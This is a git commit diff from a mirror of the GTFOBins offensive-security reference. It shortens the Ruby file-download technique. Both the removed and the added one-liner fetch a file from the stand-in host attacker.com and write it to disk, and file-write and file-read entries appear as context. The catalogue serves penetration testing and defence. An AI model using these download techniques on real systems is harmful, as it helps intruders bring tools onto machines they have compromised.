mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Use shorten ruby file download from #44
This commit is contained in:
parent
c156f48e5f
commit
9047ee345c
@ -16,11 +16,9 @@ functions:
|
|||||||
file-download:
|
file-download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export URL=http://attacker.com/file_to_get
|
||||||
export RPORT=12345
|
|
||||||
export RFILE=/file_to_get
|
|
||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
|
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'
|
||||||
file-write:
|
file-write:
|
||||||
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
|
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
|
||||||
file-read:
|
file-read:
|
||||||
|
Loading…
Reference in New Issue
Block a user